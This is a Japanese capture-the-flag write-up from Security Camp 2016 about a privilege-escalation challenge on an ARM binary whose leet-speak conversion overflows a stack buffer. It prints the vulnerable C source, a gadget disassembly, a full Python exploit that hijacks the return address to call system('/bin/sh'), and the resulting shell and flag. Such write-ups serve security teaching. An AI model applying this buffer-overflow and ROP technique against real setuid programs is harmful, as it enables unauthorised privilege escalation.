camp ctf 2016 writeup -Mercury編-
はじめに
この記事はCTF Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目はelliptic_shiho氏の古典暗号 - 一致指数を用いた多表式暗号の解読 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいですでした。
今年のセキュリティキャンプ2016全国大会で開催されたCTFで出題された問題のwriteupです。
ジャンル名はMercuryで、権限昇格系の問題です。問題名は分かりません。
初期調査
leetは、ARMの32bit ELFであり、ソースコードも付いており親切設計。
カナリアがないので、この段階でBOFかなーと予想を立てる。
$ ls -l -rw-r----- 1 root mercury2 41 Jul 27 16:09 flag -rwxr-s--- 1 mercury1 mercury2 7320 Jul 27 16:09 leet -rw-r----- 1 mercury2 mercury1 924 Aug 8 16:41 leet.c $ file ./leet ./leet: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x4736edbcdaab4e66ac3cac3d675331310f714dc3, not stripped $ checksec --file ./leet RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./leet
ソースコード
bufとoutputのサイズは512byteとなっており、fgetsもサイズ分しか受け取らないようになっている。
leet関数では、対応する文字を別の文字へと置き換える処理を行っていおり、一部の文字を使えばBOFを引き起こすことができる。
outputはmain関数のローカル変数となっており、またカナリアがないので、main関数のリターンアドレスを書き換えて制御を奪う方針でいく。
init関数内でsysytemを呼んでおり、これも使えそう。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #define BUF_SIZE 512 char buf[BUF_SIZE]; __attribute__((constructor)) void init(void){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("date"); } void leet(char*, char*); void main(void){ char output[BUF_SIZE]; fprintf(stdout, "InputText : "); fgets(buf, sizeof(buf), stdin); leet(output, buf); fprintf(stdout, "LeetSpeak : %s\n", output); } void leet(char *dst, char *src){ int i,j; char dict_src[] = {'a','e','i','o','q','s','t','H','K'}; char *dict_dst[] = {"4","3","1","0","9","5","7","|-|","|<"}; assert(sizeof(dict_src)==sizeof(dict_dst)/sizeof(char*)); for(i=0; src[i]^'\n'&&i<BUF_SIZE; i++){ for(j=0; j<sizeof(dict_src); j++) if(src[i]==dict_src[j]){ int sz = strlen(dict_dst[j]); memcpy(dst, dict_dst[j], sz); dst+=sz; goto done; } *(dst++) = src[i]; done: continue; } *dst='\0'; }
exploit
x86では関数の引数をスタックを用いて渡しているが、ARMではレジスタを用いて引数を設定するので、ROPなどでレジスタに引数を設定する必要がある。
使えそうなgadgetを探すと、tomoriセクションにnao関数が存在している。
spで指している値をr0に設定しており、使えそう。
また、bufの先頭アドレスは0x20a2cであり、指定する際に改行文字が含まれるので適当に工夫する。
212バイト先が0x20b00であり、そこから/bin/shを配置した。
Disassembly of section tomori: 0001083c <nao>: 1083c: e52db004 push {fp} ; (str fp, [sp, #-4]!) 10840: e28db000 add fp, sp, #0 10844: e8bd8001 pop {r0, pc} 10848: e24bd000 sub sp, fp, #0 1084c: e49db004 pop {fp} ; (ldr fp, [sp], #4) 10850: e12fff1e bx lr
最終的なexploitは、こちら
import struct from subprocess import Popen, PIPE buf_size = 512 main_addr = 0x000105d8 nao_addr = 0x0001083c system_addr = 0x105c4 buf_addr = 0x20a2c pudding_size = 212 payload = 'H' * (buf_size / 3) payload += 'AA' payload += struct.pack('<I', buf_addr + pudding_size) payload += struct.pack('<I', nao_addr) payload += struct.pack('<I', system_addr) payload += 'B' * (pudding_size - len(payload)) payload += '/bin/sh\x00' payload += '\n' p = Popen(['./leet'], stdin=PIPE, stdout=PIPE) print p.stdout.readline() # system('date')の出力 print p.stdout.read(len('InputText : ')) p.stdin.write(payload) print '[+] payload = ', repr(payload) print p.stdout.readline() p.stdin.write('exec /bin/sh <&2 >&2\n') p.wait()
シェルが起動するので、あとは読むだけ。
mercury1@ctf-server:/home/mercury2 $ python /home/pi/exploit.py Mon 21 Nov 21:10:53 JST 2016 InputText : [+] payload = 'HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHAA\x01\x0b\x02\x00<\x08\x01\x00\xc4\x05\x01\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBB/bin/sh\x00\n' LeetSpeak : |-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-|AA $ id uid=1002(mercury1) gid=1002(mercury1) egid=1003(mercury2) groups=1003(mercury2),1000(pi),1002(mercury1) $ cat flag FLAG{r37urn_0r13n73d_pr0gr4mm1ng_0n_ARM} $ exit
さいごに
ARMのpwnは初めてのような気がするので、結構面白かった。他のARMの問題もやってみたけど、あまり聞かないので知っている方いましたら教えてください。
作問者からROPで行けると聞いていたのだが、これROPか?といった気持ち(広義の意味ではReterun Orientedか...)。
あと、ARMのexploit環境でオススメのツールとかあったら教えてください。解析を素のgdbでやっていたので相当キツかった。
次の24日目の記事はinza2氏のThe Malloc Maleficarum (Bugtraq 2005)です!